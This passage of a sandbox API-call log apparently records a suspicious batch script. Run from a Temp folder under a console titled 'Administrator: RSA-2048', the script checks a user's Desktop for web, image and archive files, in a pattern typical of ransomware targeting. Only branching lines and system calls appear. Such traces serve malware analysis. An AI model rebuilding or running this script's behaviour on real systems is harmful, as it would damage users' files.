CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n\r\n") returned 2 [0039.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.474] GetFileType (hFile=0x74) returned 0x1 [0039.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0039.475] GetProcessHeap () returned 0x4e0000 [0039.475] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.475] GetProcessHeap () returned 0x4e0000 [0039.475] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.475] _tell (_FileHandle=3) returned 3994 [0039.475] _close (_FileHandle=3) returned 0 [0039.475] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.475] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=3994, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0039.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0039.475] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1693, lpOverlapped=0x0) returned 1 [0039.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=4021, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0039.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.html goto html\r\n") returned 27 [0039.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.476] GetFileType (hFile=0x74) returned 0x1 [0039.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0039.476] GetProcessHeap () returned 0x4e0000 [0039.476] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.476] GetProcessHeap () returned 0x4e0000 [0039.476] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.476] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.476] GetProcessHeap () returned 0x4e0000 [0039.476] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.476] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.476] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.476] GetProcessHeap () returned 0x4e0000 [0039.476] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.476] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.476] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.476] GetProcessHeap () returned 0x4e0000 [0039.476] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.477] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.477] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.477] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f58c0 [0039.477] GetProcessHeap () returned 0x4e0000 [0039.477] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f6080 [0039.477] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6080, Size=0x18) returned 0x4f58e0 [0039.477] GetProcessHeap () returned 0x4e0000 [0039.477] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x18 [0039.477] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.477] GetProcessHeap () returned 0x4e0000 [0039.477] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.477] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5920 [0039.478] _tell (_FileHandle=3) returned 4021 [0039.478] _close (_FileHandle=3) returned 0 [0039.478] GetFullPathNameW (in: lpFileName="*.html", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.html", lpFilePart=0x41eea8*="*.html") returned 0x2c [0039.478] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.478] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.html", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.478] GetLastError () returned 0x2 [0039.478] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.478] GetLastError () returned 0x6 [0039.478] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.478] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.479] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.479] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.479] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.479] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.479] SetConsoleInputExeNameW () returned 0x1 [0039.479] GetConsoleOutputCP () returned 0x1b5 [0039.480] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.480] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.480] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.480] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.480] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=4021, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0039.480] GetProcessHeap () returned 0x4e0000 [0039.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.480] GetProcessHeap () returned 0x4e0000 [0039.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.480] GetProcessHeap () returned 0x4e0000 [0039.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.480] GetProcessHeap () returned 0x4e0000 [0039.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.480] GetProcessHeap () returned 0x4e0000 [0039.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.480] GetProcessHeap () returned 0x4e0000 [0039.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.480] GetProcessHeap () returned 0x4e0000 [0039.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.481] GetProcessHeap () returned 0x4e0000 [0039.481] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.481] GetProcessHeap () returned 0x4e0000 [0039.481] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.481] GetProcessHeap () returned 0x4e0000 [0039.481] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0039.481] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1678, lpOverlapped=0x0) returned 1 [0039.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=4046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0039.481] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0039.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.481] GetFileType (hFile=0x74) returned 0x1 [0039.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0039.481] GetProcessHeap () returned 0x4e0000 [0039.481] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.481] GetProcessHeap () returned 0x4e0000 [0039.482] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.482] GetProcessHeap () returned 0x4e0000 [0039.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.482] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.482] GetProcessHeap () returned 0x4e0000 [0039.482] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.482] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.482] GetProcessHeap () returned 0x4e0000 [0039.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.482] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.482] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.482] GetProcessHeap () returned 0x4e0000 [0039.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.482] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.482] GetProcessHeap () returned 0x4e0000 [0039.482] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.482] GetProcessHeap () returned 0x4e0000 [0039.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.483] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.483] _tell (_FileHandle=3) returned 4046 [0039.483] _close (_FileHandle=3) returned 0 [0039.484] GetFullPathNameW (in: lpFileName="*.url", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.url", lpFilePart=0x41eea8*="*.url") returned 0x2b [0039.484] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.484] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.url", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.484] GetLastError () returned 0x2 [0039.484] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.484] GetLastError () returned 0x6 [0039.484] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.484] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.484] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.484] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.485] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.485] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.485] SetConsoleInputExeNameW () returned 0x1 [0039.485] GetConsoleOutputCP () returned 0x1b5 [0039.485] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.485] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.485] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.485] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.485] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.485] SetFilePointer (in: hFile=0x74, lDistanceToMove=4046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0039.486] GetProcessHeap () returned 0x4e0000 [0039.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.486] GetProcessHeap () returned 0x4e0000 [0039.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.486] GetProcessHeap () returned 0x4e0000 [0039.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.486] GetProcessHeap () returned 0x4e0000 [0039.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.486] GetProcessHeap () returned 0x4e0000 [0039.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.486] GetProcessHeap () returned 0x4e0000 [0039.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.486] GetProcessHeap () returned 0x4e0000 [0039.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.486] GetProcessHeap () returned 0x4e0000 [0039.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.486] GetProcessHeap () returned 0x4e0000 [0039.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.486] GetProcessHeap () returned 0x4e0000 [0039.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.486] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0039.486] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x165f, lpOverlapped=0x0) returned 1 [0039.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=4071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0039.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n\r\n") returned 25 [0039.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.487] GetFileType (hFile=0x74) returned 0x1 [0039.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0039.487] GetProcessHeap () returned 0x4e0000 [0039.487] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.487] GetProcessHeap () returned 0x4e0000 [0039.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.487] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.487] GetProcessHeap () returned 0x4e0000 [0039.487] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.487] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.487] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.487] GetProcessHeap () returned 0x4e0000 [0039.487] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.487] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.487] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.487] GetProcessHeap () returned 0x4e0000 [0039.487] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.487] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.487] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.488] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.488] GetProcessHeap () returned 0x4e0000 [0039.488] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.488] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.488] GetProcessHeap () returned 0x4e0000 [0039.488] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.488] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.488] GetProcessHeap () returned 0x4e0000 [0039.488] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.488] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.489] _tell (_FileHandle=3) returned 4071 [0039.489] _close (_FileHandle=3) returned 0 [0039.489] GetFullPathNameW (in: lpFileName="*.gif", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", lpFilePart=0x41eea8*="*.gif") returned 0x2b [0039.489] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.489] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4b58 [0039.489] FindClose (in: hFindFile=0x4f4b58 | out: hFindFile=0x4f4b58) returned 1 [0039.490] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.490] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0039.490] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f5940 [0039.490] GetProcessHeap () returned 0x4e0000 [0039.490] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5940) returned 0x12 [0039.490] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0039.490] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.491] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=4071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0039.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.491] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0039.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0039.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.491] GetFileType (hFile=0x74) returned 0x1 [0039.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0039.491] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=4099, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0039.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto l2\r\n") returned 28 [0039.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0039.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.491] GetFileType (hFile=0x74) returned 0x1 [0039.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0039.492] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=4127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0039.492] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto l2\r\n") returned 28 [0039.492] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0039.492] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.492] GetFileType (hFile=0x74) returned 0x1 [0039.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0039.492] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=4155, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0039.492] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto l2\r\n") returned 28 [0039.492] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0039.492] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.492] GetFileType (hFile=0x74) returned 0x1 [0039.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0039.492] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=4183, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0039.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto l2\r\n") returned 28 [0039.493] 